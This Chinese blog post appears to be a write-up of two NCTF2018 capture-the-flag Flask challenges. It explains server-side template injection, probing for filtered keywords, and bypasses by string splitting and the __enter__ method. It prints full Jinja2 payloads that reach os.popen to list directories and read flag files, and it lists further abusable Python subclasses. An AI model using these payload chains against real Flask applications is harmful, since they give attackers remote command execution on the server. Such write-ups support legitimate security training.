深入SSTI-从NCTF2018两道Flask看bypass新姿势

简述

什么是SSTI

SSTI全称Server-Side-Template-Injection,即服务端模版注入攻击。

攻击成因是服务端模版引擎将用户的输入直接渲染进模版,而未做过滤或者对象关系映射(ORM)

这样,攻击者可以控制渲染进模版的内容。通过直接输入模版渲染的关键词例如{{ }},即可将恶意代码注入模版中执行。最严重的后果是getshell。

现在有很多常见的模版渲染引擎,而最常用也最长出问题的Web框架就是基于Python的Flask框架了。

具体SSTI的概念和成因分析此处不再赘述。

NCTF2018 两道Flask题WP

讲道理,看到Flask这个词,我就立刻想到了SSTI。

flask真香 WP

打开题目一看,是一个炫酷的demo演示。这种demo一般是没有啥东西好挖的。首先F12信息收集,发现Python版本是3.5.2,没有Web静态服务器。

nctf-flask-1

随便点开第二个demo发现404了,这里注意到404界面是Flask提供的404界面,按照以往的经验,猜测这里存在SSTI注入。

尝试简单的payload: {{ 2 * 3 }} {{ 2 + 3 }}

nctf-flask-2

nctf-flask-3

从这里可见,毫无疑问的存在SSTI漏洞了,并且+号在URL中被没有当成空格被解析,而是直接执行了。

那么就来康康到底有没有WAF,有的话被过滤了哪些。

使用{{ "keyword" }}来测试waf,防止服务器爆500错误挂掉

经过一番测试,确实很多东西都被过滤了,而且是正则表达式直接匹配删去,无法嵌套绕过。不完整测试有以下:

  • config
  • class
  • mro
  • args
  • request
  • open
  • eval
  • builtins
  • import

从这里来看,似乎已经完全无法下手了。因为request和class都被过滤掉了。

卡在这里以后,最好的办法就是去查Flask官方文档了。从Flask官方文档里,找到了session对象,经过测试没有被过滤。更巧的是,session一定是一个dict对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。payload:{{ session['__cla'+'ss__'] }}

nctf-flask-4

访问到了类,我们就可以通过__bases__来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到object基类。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0] }}

nctf-flask-5

有了对象基类,我们就可以通过访问__subclasses__方法再实例化去访问所有子类。同样使用字符串拼接绕过WAF,这样就实现沙箱逃逸了。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'ss__']() }}

nctf-flask-6

这里其实就有点坑了,因为内容实在太多了。而且据后面挖掘发现,索引序号还是不断在变的。

SSTI目的无非就是两个:文件读写、getshell。因此我们核心应该放在file类和os类。而更坑爹的是,Python3几乎换了个遍。因此这里得去看官方文档去找相应的基类的用处。

我还是从os库入手,找到了os._wrap_close类,同样使用dict键访问的方法。猜大致范围得到了索引序号,我这里序号是312,payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312] }}

nctf-flask-7

我们调用它的__init__函数将其实例化,然后用__globals__查看其全局变量。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__ }}

nctf-flask-8

虽然眼睛又花了,但我们的目的很明显,就是要getshell,于是直接command+F搜索popen就可以了。由于又是一个dict类型,我们调用的时候又可以使用字符串拼接,绕过open过滤。

nctf-flask-9

后面顺理成章的,我们将命令字符串传入,实例化这个函数,然后直接调用read方法就可以了。根据经验,直接ls /,果然flag就在根目录。然后cat /flag就可以了。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read() }}

nctf-flask-10

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read() }}

nctf-flask-11

总结一下这个题,开始确实被Python3坑了一把,后来慢慢本地机测试加摸索,找到了点规律,才成功沙箱逃逸getshell。

(明天写Plus,睡了睡了狗命要紧)

Flask PLUS

看到又是Flask,后面又加了PLUS,想必内容肯定没变,应该是过滤内容增加了。

打开题目康康,果然还是demo,随便造一个404,还是那个界面。

直接拿上一道题的payload去找所有类,果然还是那么多。找到os._wrap_close类,交一发上次的payload,结果炸了。

nctf-flask-plus-1

也就是说,这里更新了过滤的内容,需要bypass。

我们来探测一下这次又加了哪些过滤

  • __init__
  • file
  • __dict__
  • __builtins__
  • __import__
  • getattr
  • os

看起来GG了,很多方法被ban了之后,几乎无法访问到我们所需要的方法。

到这里,我们本地机测试一下,康康有哪些方法我们可以用的。

nctf-flask-plus-2

这里我们注意到了__enter__方法,查看其内容,发现也有__globals__方法可用,而且与__init__一模一样。

这里摘抄下一段stack overflow的一段话

  • __init__ (allocation of the class)
  • __enter__ (enter context)
  • __exit__ (leaving context)

因此__enter__仅仅访问类的内容,但这已经可以达到我们所需要的目的了。

构造payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('ls /').read() }}

nctf-flask-plus-3

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read() }}

nctf-flask-plus-4

题目总结

第一道题属于标准操作,bases没有被过滤一切好说。第二道题看似没改什么,实际上为了第二道题我看了Python3官方文档看了整整一下午。原因很简单,对python不熟悉,尤其是这些底层的内容平时也用不到。但是好在看了一下午的Python官方文档也有些收获,也找到了更多bypass的思路。

更多Python SSTI bypass 姿势

接上面,从不断试验中,还找到了更多的bypass的方法和思路。

如何拿到object基类就不再多说了,一些基础的bypass可以看这篇博客,这里有个很好的思路就是使用request对象绕过。但是对于本题而言,request被ban,也就不再多赘述了。

拿到object基类之后,我们的核心就应该放在它的子类中有哪些类我们可以利用的。在这里我找到了不少确实可以拿来利用的子类。

<class '_frozen_importlib.BuiltinImporter'>

这个是内建包import工具,通过传入内建模块的字符串,我们可以将核心模块引入

conclude-1

有了os、io、sys模块,我们就能干很多的事了,

比如调用os模块里面system方法执行命令,调用popen方法执行命令获取内容,调用execl方法日死服务器,用listdir方法读取文件夹所包含文件。所以这里出现了我看到了flag文件却找不到办法读flag文件内容的尴尬局面。

(这里我误用了execl把docker给整崩了,对不起郁师傅了)

io模块就是各种流和open打开文件读取了,在本题里面因为过滤了open所以没有用。

sys模块似乎我也没有找到太多的用处(在本题里面)。

如果还有一些别的有用的内建模块,也可以用这种方法引入,最重要的是引入方式是字符串,只要load和module没有被ban,都可以通过拼接字符串的方法绕过waf。

<class 'urllib.request.URLopener'>

这个是urllib的模块,可以通过request.URLopener打开各种流,并获取返回的内容。

conclude-2

<class 'subprocess.Popen'>

这个看上去就非常明显了

可以通过这个类来执行子命令,获取返回值(不是执行结果),具体也不演示了。在这道题里面这个方法无效,因为不能反弹shell。

目前我挖掘出来的只有以上这些,估计flask框架本身应该也有一些类是可以挖掘的,以后找到了新的再加。

关于其他的bypass,最常用的可能就是使用__dict__方法和getattr系列去找可用的方法了。

总结

看了一下午的Python官方文档,好歹还是有收获的,比如execl(逃
虽然最后啥都没用上

题目不算难,但是bypass很开心

1 条评论

发表回复

*